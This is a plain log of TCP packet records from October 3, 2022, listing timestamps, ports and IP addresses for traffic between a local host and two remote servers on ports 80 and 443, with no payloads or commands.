Oct 3, 2022 17:35:28.910804987 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910818100 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910844088 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910864115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910900116 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910900116 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910948038 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.910960913 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.910979986 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911000013 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911011934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911034107 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911042929 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911072016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911092997 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911102057 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911107063 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911130905 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911133051 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911156893 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911163092 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911173105 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911192894 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911206961 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911222935 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911231041 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911262035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911266088 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911293983 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911313057 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911324024 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911354065 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911355019 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911375046 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911386013 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911415100 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911417007 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911437035 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911448002 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911461115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911477089 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911499977 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911505938 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911521912 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911535978 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911549091 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911565065 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911581993 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911596060 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911608934 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911626101 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911640882 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911655903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911669016 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911684990 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911700964 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911715031 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911732912 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911745071 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911758900 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911776066 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911792040 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911808014 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911815882 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911839008 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911853075 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911866903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911884069 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911892891 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.911916018 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.911938906 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.963073015 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.963274002 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.992449999 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.992494106 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.992553949 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.992595911 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:29.021292925 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:29.021579027 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:29.023380995 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:29.023427010 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:29.023469925 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:29.023503065 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:29.023504972 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:29.023526907 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:29.023526907 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:29.023545980 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:29.052983046 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:29.053052902 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:29.053095102 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:29.053136110 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:29.053169012 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:29.053169966 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:29.053179026 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:29.053204060 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:29.053220987 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:29.053231955 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:29.053261995 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:29.053302050 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:29.053306103 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:29.053344965 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:29.053344965 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:29.085525990 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:29.085597038 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:29.085628986 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:29.085675001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:29.085750103 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:29.085756063 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:29.085783958 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:29.085797071 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:29.085812092 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:29.085840940 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:29.085855007 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:29.085881948 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:29.085890055 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:29.085923910 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:29.085928917 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:29.085990906 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:30.181755066 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:30.181828022 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.127443075 CEST	49704	443	192.168.2.7	162.0.217.254
Oct 3, 2022 17:35:31.127527952 CEST	443	49704	162.0.217.254	192.168.2.7
Oct 3, 2022 17:35:31.127635002 CEST	49704	443	192.168.2.7	162.0.217.254
Oct 3, 2022 17:35:31.177397013 CEST	49704	443	192.168.2.7	162.0.217.254
Oct 3, 2022 17:35:31.177439928 CEST	443	49704	162.0.217.254	192.168.2.7
Oct 3, 2022 17:35:31.206670046 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.258035898 CEST	443	49704	162.0.217.254	192.168.2.7
Oct 3, 2022 17:35:31.258183002 CEST	49704	443	192.168.2.7	162.0.217.254
Oct 3, 2022 17:35:31.264838934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.264895916 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.264935970 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.264959097 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.264970064 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.265001059 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.265043020 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.273226976 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.273287058 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.273327112 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.273355961 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.273369074 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.273390055 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.273405075 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.273408890 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.273428917 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.273449898 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.273461103 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.273554087 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.294183969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.294297934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.294332027 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.294359922 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.294358969 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.294399977 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.294440031 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.294558048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.294589996 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.294605970 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.294617891 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.294637918 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.294646025 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.294656038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.294696093 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.302270889 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.302372932 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.302431107 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.302470922 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.302484989 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.302519083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.302522898 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.302536011 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.302573919 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.302604914 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.302625895 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.302683115 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.302721024 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.302730083 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.302757978 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.302767992 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.302795887 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.302800894 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.302830935 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.302843094 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.302869081 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.302881956 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.302912951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.323592901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.323664904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.323697090 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.323740005 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.323782921 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.323822975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.323837042 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.323863983 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.323879957 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.323905945 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.323913097 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.323957920 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.324064970 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.324107885 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.324115992 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.324150085 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.324177980 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.324193001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.324203968 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.324233055 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.324240923 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.324273109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.324284077 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.324312925 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.324317932 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.324352980 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.324356079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.324399948 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.331875086 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.331928968 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.331985950 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.332026958 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.332138062 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.332181931 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.332192898 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.332230091 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.332232952 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.332253933 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.332293987 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.332310915 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.332343102 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.332348108 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.332364082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.332401037 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.332405090 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.332420111 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.332467079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.332597017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.332659006 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.332782984 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.332797050 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.332828999 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.333098888 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.333755016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.333798885 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.333820105 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.333841085 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.333856106 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.333883047 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.333892107 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.333921909 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.333933115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.333962917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.333971024 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.334003925 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.334011078 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.334045887 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.334053993 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.334086895 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.334101915 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.334129095 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.334136009 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.334182978 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.357378006 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.357434988 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.357470989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.357474089 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.357505083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.357511044 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.357528925 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.357542038 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.357577085 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.357578039 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.357611895 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.357645988 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.357680082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.357697964 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.357697964 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.357697964 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.357697964 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.357713938 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.357748985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.357781887 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.357791901 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.357791901 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.357791901 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.357819080 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.357836962 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.357855082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.357871056 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.357889891 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.357903004 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.357923985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.357942104 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.357958078 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.357976913 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.357991934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.358006001 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.358028889 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.358041048 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.358063936 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.358076096 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.358098984 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.358113050 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.358146906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.358153105 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.358190060 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.358196974 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.358231068 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.358241081 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.358270884 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.358282089 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.358311892 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.358324051 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.358351946 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.358366013 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.358392000 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.358402967 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.358433962 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.358445883 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.358474970 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.358484983 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.358525038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.360037088 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.360085964 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.360111952 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.360148907 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.361932993 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.361977100 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.362015009 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.362020016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.362061024 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.362066984 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.362066984 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.362101078 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.362114906 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.362142086 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.362159014 CEST	49703	80	192.168.2.7	193.38.55.180
